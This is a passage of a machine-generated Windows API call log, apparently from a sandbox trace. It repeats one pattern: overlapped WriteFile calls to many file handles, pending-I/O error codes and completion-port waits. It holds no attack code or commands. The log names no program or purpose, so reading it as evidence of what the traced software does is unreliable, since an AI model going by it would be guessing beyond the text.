lpNumberOfBytesWritten=0x0, lpOverlapped=0x3880590) returned 0x0 [0113.469] RtlGetLastWin32Error () returned 0x3e5 [0113.469] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.470] WriteFile (in: hFile=0x304, lpBuffer=0x44b60e8, nNumberOfBytesToWrite=0x13c5c, lpNumberOfBytesWritten=0x0, lpOverlapped=0x44b5f98 | out: lpBuffer=0x44b60e8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x44b5f98) returned 0x0 [0113.471] RtlGetLastWin32Error () returned 0x3e5 [0113.472] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.473] WriteFile (in: hFile=0x300, lpBuffer=0x44c9ea0, nNumberOfBytesToWrite=0x12d06, lpNumberOfBytesWritten=0x0, lpOverlapped=0x44c9d50 | out: lpBuffer=0x44c9ea0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x44c9d50) returned 0x0 [0113.474] RtlGetLastWin32Error () returned 0x3e5 [0113.474] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.475] WriteFile (in: hFile=0x2fc, lpBuffer=0x44dcd00, nNumberOfBytesToWrite=0x11706, lpNumberOfBytesWritten=0x0, lpOverlapped=0x44dcbb0 | out: lpBuffer=0x44dcd00, lpNumberOfBytesWritten=0x0, lpOverlapped=0x44dcbb0) returned 0x0 [0113.476] RtlGetLastWin32Error () returned 0x3e5 [0113.477] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.477] WriteFile (in: hFile=0x2f4, lpBuffer=0x44ee560, nNumberOfBytesToWrite=0x9da, lpNumberOfBytesWritten=0x0, lpOverlapped=0x44ee410 | out: lpBuffer=0x44ee560, lpNumberOfBytesWritten=0x0, lpOverlapped=0x44ee410) returned 0x0 [0113.478] RtlGetLastWin32Error () returned 0x3e5 [0113.478] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.479] WriteFile (in: hFile=0x2f8, lpBuffer=0x44ef098, nNumberOfBytesToWrite=0xa781, lpNumberOfBytesWritten=0x0, lpOverlapped=0x44eef48 | out: lpBuffer=0x44ef098, lpNumberOfBytesWritten=0x0, lpOverlapped=0x44eef48) returned 0x0 [0113.480] RtlGetLastWin32Error () returned 0x3e5 [0113.480] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.481] WriteFile (in: hFile=0x2a4, lpBuffer=0x44f9978, nNumberOfBytesToWrite=0x11082, lpNumberOfBytesWritten=0x0, lpOverlapped=0x44f9828 | out: lpBuffer=0x44f9978, lpNumberOfBytesWritten=0x0, lpOverlapped=0x44f9828) returned 0x0 [0113.482] RtlGetLastWin32Error () returned 0x3e5 [0113.482] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.483] WriteFile (in: hFile=0x41c, lpBuffer=0x450ab58, nNumberOfBytesToWrite=0x994c, lpNumberOfBytesWritten=0x0, lpOverlapped=0x450aa08 | out: lpBuffer=0x450ab58, lpNumberOfBytesWritten=0x0, lpOverlapped=0x450aa08) returned 0x0 [0113.484] RtlGetLastWin32Error () returned 0x3e5 [0113.484] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.485] WriteFile (in: hFile=0x420, lpBuffer=0x4514600, nNumberOfBytesToWrite=0xd7bd, lpNumberOfBytesWritten=0x0, lpOverlapped=0x45144b0 | out: lpBuffer=0x4514600, lpNumberOfBytesWritten=0x0, lpOverlapped=0x45144b0) returned 0x0 [0113.486] RtlGetLastWin32Error () returned 0x3e5 [0113.486] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.487] WriteFile (in: hFile=0x424, lpBuffer=0x4798eb0, nNumberOfBytesToWrite=0x62cd, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4798d60 | out: lpBuffer=0x4798eb0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4798d60) returned 0x0 [0113.487] RtlGetLastWin32Error () returned 0x3e5 [0113.488] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.488] WriteFile (in: hFile=0x428, lpBuffer=0x4521f18, nNumberOfBytesToWrite=0xbae3, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4521dc8 | out: lpBuffer=0x4521f18, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4521dc8) returned 0x0 [0113.489] RtlGetLastWin32Error () returned 0x3e5 [0113.489] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.501] WriteFile (in: hFile=0x42c, lpBuffer=0x47a0170, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x0, lpOverlapped=0x47a0020 | out: lpBuffer=0x47a0170, lpNumberOfBytesWritten=0x0, lpOverlapped=0x47a0020) returned 0x0 [0113.506] RtlGetLastWin32Error () returned 0x3e5 [0113.506] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.518] WriteFile (in: hFile=0x430, lpBuffer=0x48b0170, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x0, lpOverlapped=0x48b0020 | out: lpBuffer=0x48b0170, lpNumberOfBytesWritten=0x0, lpOverlapped=0x48b0020) returned 0x0 [0113.521] RtlGetLastWin32Error () returned 0x3e5 [0113.522] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.534] WriteFile (in: hFile=0x434, lpBuffer=0x49c0170, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x0, lpOverlapped=0x49c0020 | out: lpBuffer=0x49c0170, lpNumberOfBytesWritten=0x0, lpOverlapped=0x49c0020) returned 0x0 [0113.537] RtlGetLastWin32Error () returned 0x3e5 [0113.537] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.547] WriteFile (in: hFile=0x438, lpBuffer=0x4ad0170, nNumberOfBytesToWrite=0xd6b22, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4ad0020 | out: lpBuffer=0x4ad0170, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4ad0020) returned 0x0 [0113.550] RtlGetLastWin32Error () returned 0x3e5 [0113.550] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.558] WriteFile (in: hFile=0x43c, lpBuffer=0x4bb0170, nNumberOfBytesToWrite=0xce875, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4bb0020 | out: lpBuffer=0x4bb0170, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4bb0020) returned 0x0 [0113.561] RtlGetLastWin32Error () returned 0x3e5 [0113.561] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.567] WriteFile (in: hFile=0x440, lpBuffer=0x4c80170, nNumberOfBytesToWrite=0x91554, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4c80020 | out: lpBuffer=0x4c80170, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4c80020) returned 0x0 [0113.569] RtlGetLastWin32Error () returned 0x3e5 [0113.570] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.578] WriteFile (in: hFile=0x444, lpBuffer=0x4d20170, nNumberOfBytesToWrite=0xbd616, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4d20020 | out: lpBuffer=0x4d20170, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4d20020) returned 0x0 [0113.581] RtlGetLastWin32Error () returned 0x3e5 [0113.581] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.589] WriteFile (in: hFile=0x448, lpBuffer=0x4de0170, nNumberOfBytesToWrite=0xbea1f, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4de0020 | out: lpBuffer=0x4de0170, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4de0020) returned 0x0 [0113.592] RtlGetLastWin32Error () returned 0x3e5 [0113.592] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.599] WriteFile (in: hFile=0x44c, lpBuffer=0x4ea0170, nNumberOfBytesToWrite=0x8907c, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4ea0020 | out: lpBuffer=0x4ea0170, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4ea0020) returned 0x0 [0113.601] RtlGetLastWin32Error () returned 0x3e5 [0113.601] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.608] WriteFile (in: hFile=0x454, lpBuffer=0x4ff0170, nNumberOfBytesToWrite=0x97958, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4ff0020 | out: lpBuffer=0x4ff0170, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4ff0020) returned 0x0 [0113.610] RtlGetLastWin32Error () returned 0x3e5 [0113.610] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.618] WriteFile (in: hFile=0x450, lpBuffer=0x4f30170, nNumberOfBytesToWrite=0xbde6b, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4f30020 | out: lpBuffer=0x4f30170, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4f30020) returned 0x0 [0113.621] RtlGetLastWin32Error () returned 0x3e5 [0113.621] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.640] WriteFile (in: hFile=0x458, lpBuffer=0x5090170, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5090020 | out: lpBuffer=0x5090170, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5090020) returned 0x0 [0113.644] RtlGetLastWin32Error () returned 0x3e5 [0113.644] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.644] WriteFile (in: hFile=0x460, lpBuffer=0x452db58, nNumberOfBytesToWrite=0x34e1, lpNumberOfBytesWritten=0x0, lpOverlapped=0x452da08 | out: lpBuffer=0x452db58, lpNumberOfBytesWritten=0x0, lpOverlapped=0x452da08) returned 0x0 [0113.645] RtlGetLastWin32Error () returned 0x3e5 [0113.645] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.657] WriteFile (in: hFile=0x45c, lpBuffer=0x51a0170, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x0, lpOverlapped=0x51a0020 | out: lpBuffer=0x51a0170, lpNumberOfBytesWritten=0x0, lpOverlapped=0x51a0020) returned 0x0 [0113.660] RtlGetLastWin32Error () returned 0x3e5 [0113.660] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.661] WriteFile (in: hFile=0x464, lpBuffer=0x388bbf0, nNumberOfBytesToWrite=0x412f, lpNumberOfBytesWritten=0x0, lpOverlapped=0x388baa0 | out: lpBuffer=0x388bbf0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x388baa0) returned 0x0 [0113.662] RtlGetLastWin32Error () returned 0x3e5 [0113.662] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.662] WriteFile (in: hFile=0x468, lpBuffer=0x52b0198, nNumberOfBytesToWrite=0x1055b, lpNumberOfBytesWritten=0x0, lpOverlapped=0x52b0048 | out: lpBuffer=0x52b0198, lpNumberOfBytesWritten=0x0, lpOverlapped=0x52b0048) returned 0x0 [0113.663] RtlGetLastWin32Error () returned 0x3e5 [0113.663] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.664] WriteFile (in: hFile=0x46c, lpBuffer=0x52cb0b8, nNumberOfBytesToWrite=0xdf28, lpNumberOfBytesWritten=0x0, lpOverlapped=0x52caf68 | out: lpBuffer=0x52cb0b8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x52caf68) returned 0x0 [0113.664] RtlGetLastWin32Error () returned 0x3e5 [0113.664] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.665] WriteFile (in: hFile=0x470, lpBuffer=0x52d9138, nNumberOfBytesToWrite=0x37d1, lpNumberOfBytesWritten=0x0, lpOverlapped=0x52d8fe8 | out: lpBuffer=0x52d9138, lpNumberOfBytesWritten=0x0, lpOverlapped=0x52d8fe8) returned 0x0 [0113.665] RtlGetLastWin32Error () returned 0x3e5 [0113.665] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.666] WriteFile (in: hFile=0x474, lpBuffer=0x52dca68, nNumberOfBytesToWrite=0x10207, lpNumberOfBytesWritten=0x0, lpOverlapped=0x52dc918 | out: lpBuffer=0x52dca68, lpNumberOfBytesWritten=0x0, lpOverlapped=0x52dc918) returned 0x0 [0113.666] RtlGetLastWin32Error () returned 0x3e5 [0113.666] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.667] WriteFile (in: hFile=0x478, lpBuffer=0x52ecdc8, nNumberOfBytesToWrite=0x3ebe, lpNumberOfBytesWritten=0x0, lpOverlapped=0x52ecc78 | out: lpBuffer=0x52ecdc8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x52ecc78) returned 0x0 [0113.667] RtlGetLastWin32Error () returned 0x3e5 [0113.667] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.668] WriteFile (in: hFile=0x47c, lpBuffer=0x52f0de0, nNumberOfBytesToWrite=0x51db, lpNumberOfBytesWritten=0x0, lpOverlapped=0x52f0c90 | out: lpBuffer=0x52f0de0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x52f0c90) returned 0x0 [0113.668] RtlGetLastWin32Error () returned 0x3e5 [0113.668] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.669] WriteFile (in: hFile=0x480, lpBuffer=0x52f6118, nNumberOfBytesToWrite=0x17bc1, lpNumberOfBytesWritten=0x0, lpOverlapped=0x52f5fc8 | out: lpBuffer=0x52f6118, lpNumberOfBytesWritten=0x0, lpOverlapped=0x52f5fc8) returned 0x0 [0113.669] RtlGetLastWin32Error () returned 0x3e5 [0113.669] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.670] WriteFile (in: hFile=0x484, lpBuffer=0x530de38, nNumberOfBytesToWrite=0x17ee1, lpNumberOfBytesWritten=0x0, lpOverlapped=0x530dce8 | out: lpBuffer=0x530de38, lpNumberOfBytesWritten=0x0, lpOverlapped=0x530dce8) returned 0x0 [0113.671] RtlGetLastWin32Error () returned 0x3e5 [0113.671] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.671] WriteFile (in: hFile=0x488, lpBuffer=0x5325e78, nNumberOfBytesToWrite=0xb8b9, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5325d28 | out: lpBuffer=0x5325e78, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5325d28) returned 0x0 [0113.672] RtlGetLastWin32Error () returned 0x3e5 [0113.672] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.672] WriteFile (in: hFile=0x48c, lpBuffer=0x5331890, nNumberOfBytesToWrite=0xce69, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5331740 | out: lpBuffer=0x5331890, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5331740) returned 0x0 [0113.673] RtlGetLastWin32Error () returned 0x3e5 [0113.673] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.674] WriteFile (in: hFile=0x490, lpBuffer=0x533e858, nNumberOfBytesToWrite=0x100bb, lpNumberOfBytesWritten=0x0, lpOverlapped=0x533e708 | out: lpBuffer=0x533e858, lpNumberOfBytesWritten=0x0, lpOverlapped=0x533e708) returned 0x0 [0113.674] RtlGetLastWin32Error () returned 0x3e5 [0113.675] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.675] WriteFile (in: hFile=0x494, lpBuffer=0x534ea70, nNumberOfBytesToWrite=0xc676, lpNumberOfBytesWritten=0x0, lpOverlapped=0x534e920 | out: lpBuffer=0x534ea70, lpNumberOfBytesWritten=0x0, lpOverlapped=0x534e920) returned 0x0 [0113.676] RtlGetLastWin32Error () returned 0x3e5 [0113.676] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.676] WriteFile (in: hFile=0x498, lpBuffer=0x535b240, nNumberOfBytesToWrite=0x66c6, lpNumberOfBytesWritten=0x0, lpOverlapped=0x535b0f0 | out: lpBuffer=0x535b240, lpNumberOfBytesWritten=0x0, lpOverlapped=0x535b0f0) returned 0x0 [0113.677] RtlGetLastWin32Error () returned 0x3e5 [0113.677] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.678] WriteFile (in: hFile=0x49c, lpBuffer=0x5361a60, nNumberOfBytesToWrite=0x661e, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5361910 | out: lpBuffer=0x5361a60, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5361910) returned 0x0 [0113.678] RtlGetLastWin32Error () returned 0x3e5 [0113.678] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.679] WriteFile (in: hFile=0x4a0, lpBuffer=0x53681d8, nNumberOfBytesToWrite=0x53f1, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5368088 | out: lpBuffer=0x53681d8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5368088) returned 0x0 [0113.679] RtlGetLastWin32Error () returned 0x3e5 [0113.679] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.680] WriteFile (in: hFile=0x4a4, lpBuffer=0x536d728, nNumberOfBytesToWrite=0x17698, lpNumberOfBytesWritten=0x0, lpOverlapped=0x536d5d8 | out: lpBuffer=0x536d728, lpNumberOfBytesWritten=0x0, lpOverlapped=0x536d5d8) returned 0x0 [0113.681] RtlGetLastWin32Error () returned 0x3e5 [0113.681] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.682] WriteFile (in: hFile=0x4a8, lpBuffer=0x5384f18, nNumberOfBytesToWrite=0x9a9f, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5384dc8 | out: lpBuffer=0x5384f18, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5384dc8) returned 0x0 [0113.682] RtlGetLastWin32Error () returned 0x3e5 [0113.683] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.683] WriteFile (in: hFile=0x4ac, lpBuffer=0x538eb10, nNumberOfBytesToWrite=0x8fc6, lpNumberOfBytesWritten=0x0, lpOverlapped=0x538e9c0 | out: lpBuffer=0x538eb10, lpNumberOfBytesWritten=0x0, lpOverlapped=0x538e9c0) returned 0x0 [0113.684] RtlGetLastWin32Error () returned 0x3e5 [0113.684] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.685] WriteFile (in: hFile=0x4b0, lpBuffer=0x5397c30, nNumberOfBytesToWrite=0x15c02, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5397ae0 | out: lpBuffer=0x5397c30, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5397ae0) returned 0x0 [0113.686] RtlGetLastWin32Error () returned 0x3e5 